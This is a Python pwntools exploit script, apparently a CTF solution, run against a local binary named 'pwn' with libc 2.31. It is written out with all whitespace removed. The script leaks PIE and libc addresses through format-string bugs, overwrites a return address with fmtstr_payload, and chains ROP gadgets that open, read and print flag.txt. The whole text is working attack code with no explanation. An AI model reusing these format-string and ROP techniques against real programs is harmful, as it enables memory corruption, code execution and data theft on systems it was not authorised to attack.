frompwnimport*context(os="linux",arch="amd64",log_level='debug')libc=ELF('./libc-2.31.so')io=process('./pwn')whileTrue:io.recvuntil(b'gift:')format_addr=int(io.recvline(keepends=False),16)debug(f'format_addr: {hex(format_addr)}')return_addr=format_addr+0x810+0x08debug(f'return_addr: {hex(return_addr)}')io.send(b'a'*8)io.send(b'a'*8)io.recvuntil(b'Hello aaaaaaaa')start_addr=u64(io.recvline()[:6].ljust(8,b'\x00'))debug(f'start_addr: {hex(start_addr)}')offset_pie=start_addr-0x11a0debug(f'offset_pie: {hex(offset_pie)}')bss_stdout_addr=offset_pie+0x4020debug(f'bss_stdout_addr: {hex(bss_stdout_addr)}')io.recvuntil(b"Now, you can't see anything!!!\n")payload=fmtstr_payload(6,{return_addr:start_addr})io.send(payload)io.send(b'a'*8)io.send(b'a'*8)return_addr-=0xe0debug(f'return_addr: {hex(return_addr)}')payload=b'%53c%25$hhn%139c%24$hhna'payload+=fmtstr_payload(9,{return_addr:start_addr},numbwritten=53+139+1)payload+=p64(bss_stdout_addr)+p64(bss_stdout_addr+1)io.send(payload)try:io.recvuntil(b'gift:')format_addr=int(io.recvline(keepends=False),16)debug(f'format_addr: {hex(format_addr)}')return_addr=format_addr+0x810+0x08debug(f'return_addr: {hex(return_addr)}')io.send(b'a'*8)io.send(b'a'*8)io.recvuntil(b"Now, you can't see anything!!!\n")payload=b'%265$p!!'payload+=fmtstr_payload(7,{return_addr:start_addr},numbwritten=16)io.send(payload)libc_start_main_ret_addr=int(io.recvuntil(b'!!')[:-2],16)debug(f'libc_start_main_ret_addr: {hex(libc_start_main_ret_addr)}')offset_libc=libc_start_main_ret_addr-0x24083debug(f'offset_libc: {hex(offset_libc)}')io.recv()pop_rsp_ret=offset_libc+0x00197102pop_rdi_ret=offset_libc+0x00083900pop_rsi_ret=offset_libc+0x0002601fpop_rdx_ret=offset_libc+0x00142c92open_addr=offset_libc+libc.sym['open']read_addr=offset_libc+libc.sym['read']write_addr=offset_libc+libc.sym['write']io.recvuntil(b'gift:')format_addr=int(io.recvline(keepends=False),16)debug(f'format_addr: {hex(format_addr)}')return_addr=format_addr+0x810+0x08debug(f'return_addr: {hex(return_addr)}')io.send(b'a'*8)io.send(b'a'*8)io.recvuntil(b"Now, you can't see anything!!!\n")payload=fmtstr_payload(6,{return_addr:pop_rsp_ret,return_addr+8:format_addr+0x118})payload=payload.ljust(0x100,b'\x00')payload+=b'flag.txt'.ljust(0x18,b'\x00')payload+=p64(pop_rdi_ret)+p64(format_addr+0x100)+p64(pop_rsi_ret)+p64(0)+p64(open_addr)payload+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(format_addr+0x200)+p64(pop_rdx_ret)+p64(0x40)+p64(read_addr)payload+=p64(pop_rdi_ret)+p64(2)+p64(write_addr)io.send(payload)io.interactive()exceptEOFErrorase:io.close()io=process('./pwn')exceptExceptionase:raisee